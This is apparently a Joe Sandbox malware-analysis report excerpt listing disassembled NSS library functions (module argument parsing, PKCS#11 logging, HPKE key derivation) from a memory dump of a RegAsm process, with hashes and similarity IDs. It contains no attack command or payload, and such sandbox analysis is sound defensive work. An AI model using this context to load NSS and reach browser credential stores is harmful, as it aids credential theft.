PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4275C2,00000000), ref: 6C475049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C47505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C475071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C475089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4750A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C4750B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4275C2), ref: 6C4750CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4750D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4750F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C475103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C47511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C47512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C475145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C475153
free.MOZGLUE(?), ref: 6C47516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C47517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C475195

Strings

library=, xrefs: 6C475043
config=, xrefs: 6C47509B
nss=, xrefs: 6C475083
name=, xrefs: 6C475057
parameters=, xrefs: 6C47506B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 0a7eeb1b768c7deba037a4e0132f881b8f1b2e1d9723ba3265d0739660f84479
Instruction ID: a6f2658ca90f7baafc5315f7f2e6ea58a42179ec841534d60a83048c5b13cd9f
Opcode Fuzzy Hash: 0a7eeb1b768c7deba037a4e0132f881b8f1b2e1d9723ba3265d0739660f84479
Instruction Fuzzy Hash: 4651A4B1E112455BEB21DE249C41EEE37B8DF16249F140024EC19EBB41EB25F919CBF2

Function 6C474C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C464F51,00000000), ref: 6C474C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C464F51,00000000), ref: 6C474C5B
PR_smprintf.NSS3(6C54AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C464F51,00000000), ref: 6C474C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C464F51,00000000), ref: 6C474CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C474CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C474CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C474D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C464F51,00000000), ref: 6C474D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C464F51,00000000), ref: 6C474D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C474D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C474DA2
free.MOZGLUE(?), ref: 6C474DB9
free.MOZGLUE(00000000), ref: 6C474DCF

Strings

ootT, xrefs: 6C474D1A
rootFlags, xrefs: 6C474D47
timeout, xrefs: 6C474C91
0x%08lx=[%s %s], xrefs: 6C474D80
every, xrefs: 6C474CA1
slotFlags, xrefs: 6C474D34
any, xrefs: 6C474C96
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C474D9D
rust, xrefs: 6C474D22
%s,%s, xrefs: 6C474C4B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c5a7c44db2fd5df9bfcd85f518aba908aa17f7910e4c2429054b5d2d926c67d3
Instruction ID: cd2a6ca185295015dfd57cc5db923ba6ffd0385d0c4131029e6005374b9df711
Opcode Fuzzy Hash: c5a7c44db2fd5df9bfcd85f518aba908aa17f7910e4c2429054b5d2d926c67d3
Instruction Fuzzy Hash: B2417DB1900141ABEB22DF199C44EFF3669AF82389F0A8124E8595BB01E735D914CFF7

Function 6C444950 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6C444976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4449A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4449B6

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4449CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C4449FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C444A09
PR_LogPrint.NSS3(?,00000000), ref: 6C444A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C444A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C444A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6C444A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6C444B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C444B26
PR_LogPrint.NSS3(?,00000000), ref: 6C444B3C

Strings

hObject = 0x%x, xrefs: 6C4449E4, 6C4449F4
hSession = 0x%x, xrefs: 6C444991, 6C4449A1
nRl, xrefs: 6C444AA6, 6C444ADC
ulCount = %d, xrefs: 6C444A57
C_CopyObject, xrefs: 6C444971
*phNewObject = 0x%x, xrefs: 6C444B01, 6C444B11
(CK_INVALID_HANDLE), xrefs: 6C4449AF, 6C444A02, 6C444B1F
pTemplate = 0x%p, xrefs: 6C444A39
phNewObject = 0x%p, xrefs: 6C444A77

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject$nRl
API String ID: 1003633598-3579614891
Opcode ID: 00fc0c05cf11c431eb904d3449c13ea9190bd9525dd06a4dd349c7d3965ee121
Instruction ID: 0fcef72a662153321048a4abc2768777194a63868944cb58faf215648e972dca
Opcode Fuzzy Hash: 00fc0c05cf11c431eb904d3449c13ea9190bd9525dd06a4dd349c7d3965ee121
Instruction Fuzzy Hash: 6C51D170601120EFEB01DF148C49FAA7BB5EB8235DF159029F8087BB52D7249D59CBAA

Function 6C456910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C456943

Part of subcall function 6C474210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,8327CEB7,flags,?,00000000,?,6C455947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C474220
Part of subcall function 6C474210: NSSUTIL_ArgGetParamValue.NSS3(?,GYEl,?,?,?,?,?,?,00000000,?,00000000,?,6C457703,?,00000000,00000000), ref: 6C47422D
Part of subcall function 6C474210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C457703), ref: 6C47424B
Part of subcall function 6C474210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C457703,?,00000000), ref: 6C474272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C456957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C456972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C456983

Part of subcall function 6C473EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C44C79F,?,6C456247,70E85609,?,?,6C44C79F,6C45781D,?,6C44BD52,00000001,70E85609,D85D8B04,?), ref: 6C473EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C4569AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C4569BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C4569D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C4569DF

Part of subcall function 6C474020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,766B4C80,?,6C4750B7,?), ref: 6C474041

free.MOZGLUE(00000000), ref: 6C4569F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C456A04
free.MOZGLUE(00000000), ref: 6C456A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C456A29
free.MOZGLUE(00000000), ref: 6C456A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C456A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C456A5B

Strings

nocertdb, xrefs: 6C456951
flags, xrefs: 6C456937, 6C456942, 6C456956, 6C45696D
configdir=, xrefs: 6C4569A4
certPrefix=, xrefs: 6C4569B8
readOnly, xrefs: 6C45693D
keyPrefix=, xrefs: 6C4569CC
nokeydb, xrefs: 6C456968

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: d46f4527511698b7bb49690eabccd007b757ebc41ae9c4e53d7324a3375aeadd
Instruction ID: 8e095f0dc44bb4f61e9e16163468cf2a7be358b8fa589fd4265965d95a887d59
Opcode Fuzzy Hash: d46f4527511698b7bb49690eabccd007b757ebc41ae9c4e53d7324a3375aeadd
Instruction Fuzzy Hash: D041C2F5E402056BEB00DB75AC81FEF77AC9F15248F544424ED05E6B02F731DA28C6A2

Function 6C456CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C456910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C456943
Part of subcall function 6C456910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C456957
Part of subcall function 6C456910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C456972
Part of subcall function 6C456910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C456983
Part of subcall function 6C456910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C4569AA
Part of subcall function 6C456910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C4569BE
Part of subcall function 6C456910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C4569D2
Part of subcall function 6C456910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C4569DF
Part of subcall function 6C456910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C456A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C456D8C
free.MOZGLUE(00000000), ref: 6C456DC5
free.MOZGLUE(?), ref: 6C456DD6
free.MOZGLUE(?), ref: 6C456DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C456E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C456E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C456E72
free.MOZGLUE(?), ref: 6C456EA7
free.MOZGLUE(?), ref: 6C456EC4
free.MOZGLUE(?), ref: 6C456ED5
free.MOZGLUE(00000000), ref: 6C456EE3
free.MOZGLUE(?), ref: 6C456EF4
free.MOZGLUE(?), ref: 6C456F08
free.MOZGLUE(00000000), ref: 6C456F35
free.MOZGLUE(?), ref: 6C456F44
free.MOZGLUE(?), ref: 6C456F5B
free.MOZGLUE(00000000), ref: 6C456F65

Part of subcall function 6C456C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C45781D,00000000,6C44BE2C,?,6C456B1D,?,?,?,?,00000000,00000000,6C45781D), ref: 6C456C40
Part of subcall function 6C456C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C45781D,?,6C44BE2C,?), ref: 6C456C58
Part of subcall function 6C456C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C45781D), ref: 6C456C6F
Part of subcall function 6C456C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C456C84
Part of subcall function 6C456C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C456C96
Part of subcall function 6C456C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C456CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C456F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C456FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C456FF4

Strings

+`Fl, xrefs: 6C456D0D

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`Fl
API String ID: 1304971872-4236769779
Opcode ID: f66fe758236d5f704a50ac07a676ed1e52e5b0988a8b342405d54b81a450cecc
Instruction ID: e2f1191c7ca51fde5b2a812b644ce00f69a87a2ea92293c15bcc1b83e351c835
Opcode Fuzzy Hash: f66fe758236d5f704a50ac07a676ed1e52e5b0988a8b342405d54b81a450cecc
Instruction Fuzzy Hash: 21B15DB1E022099BEF10DBA9DC44FDEBBB8AF0534AF540124E815E7750E731E925CBA1

Function 6C44AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C44AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C44AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C44AF83

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C44AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C44AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C44AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C44AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C44B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C44B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C44B041

Strings

pSignature = 0x%p, xrefs: 6C44B023
hSession = 0x%x, xrefs: 6C44AF5E, 6C44AF6E
nRl, xrefs: 6C44B059, 6C44B093
pParameter = 0x%p, xrefs: 6C44AFB9
ulDataLen = %d, xrefs: 6C44B00A
pulSignatureLen = 0x%p, xrefs: 6C44B03C
(CK_INVALID_HANDLE), xrefs: 6C44AF7C
C_SignMessage, xrefs: 6C44AF41
pData = 0x%p, xrefs: 6C44AFEF
ulParameterLen = 0x%p, xrefs: 6C44AFD4

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nRl
API String ID: 1003633598-2746683010
Opcode ID: 42b775fbd4e923577ded9b54926f157d0152c50aeb39d7ce2cccc20a2e9de032
Instruction ID: 7e19fff28b28196f8668dc2422dec6ed685cd0a6862854347d5b99d8117795ba
Opcode Fuzzy Hash: 42b775fbd4e923577ded9b54926f157d0152c50aeb39d7ce2cccc20a2e9de032
Instruction Fuzzy Hash: 98410475601120EFEB01EF10DC48F993BB1FB8231EF198039E90857A12D7359899DBB5

Function 6C4408F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C44094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C440953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C44096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C440974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C44098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C440995

Part of subcall function 6C441800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C441860
Part of subcall function 6C441800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C4409BF), ref: 6C441897
Part of subcall function 6C441800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C4418AA
Part of subcall function 6C441800: memcpy.VCRUNTIME140(?,?,?), ref: 6C4418C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C440B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C440B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C440B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C440B78

Strings

key, xrefs: 6C440ACB
secret, xrefs: 6C440A88
info_hash, xrefs: 6C4409E0
exp, xrefs: 6C440B36
base_nonce, xrefs: 6C440B06
psk_id_hash, xrefs: 6C4409B5

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: f9de794bd3f27d53b8fc0dd03203fba71dae7034f18cdedd87a78357f085d196
Instruction ID: 5a6e2072875b786eef851844c58744f976fb1ed3a4a1c2138e242fcb09d99616
Opcode Fuzzy Hash: f9de794bd3f27d53b8fc0dd03203fba71dae7034f18cdedd87a78357f085d196
Instruction Fuzzy Hash: 49816975604341AFD700CF65CC80E9AFBE9EF88708F048919FA9997751E731EA19CB92

Function 6C452D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C452DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C452E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C452E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C452E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C424F1C,?,-00000001,00000000,?), ref: 6C452E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C424F1C,?,-00000001,00000000), ref: 6C452E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C452EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C452EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C452EF8
PR_Unlock.NSS3(?), ref: 6C452F62
TlsGetValue.KERNEL32 ref: 6C452F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C452F9E
PR_Unlock.NSS3(?), ref: 6C452FCA
TlsGetValue.KERNEL32 ref: 6C45301A
EnterCriticalSection.KERNEL32(?), ref: 6C45302E
PR_Unlock.NSS3(?), ref: 6C453066
PR_SetError.NSS3(00000000,00000000), ref: 6C453085
PR_Unlock.NSS3(?), ref: 6C4530EC
TlsGetValue.KERNEL32 ref: 6C45310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C453124
PR_Unlock.NSS3(?), ref: 6C45314C

Part of subcall function 6C439180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C46379E,?,6C439568,00000000,?,6C46379E,?,00000001,?), ref: 6C43918D
Part of subcall function 6C439180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C46379E,?,6C439568,00000000,?,6C46379E,?,00000001,?), ref: 6C4391A0

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

PR_SetError.NSS3(00000000,00000000), ref: 6C45316D

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 1459420bbad242c9b862d0d660b5ba870466bf0706eb69a0f151c0a02f6e09ab
Instruction ID: 14b19fa3ac11060906ea1cea705a5130fcd7bb742f9822dc6ef8648071c18917
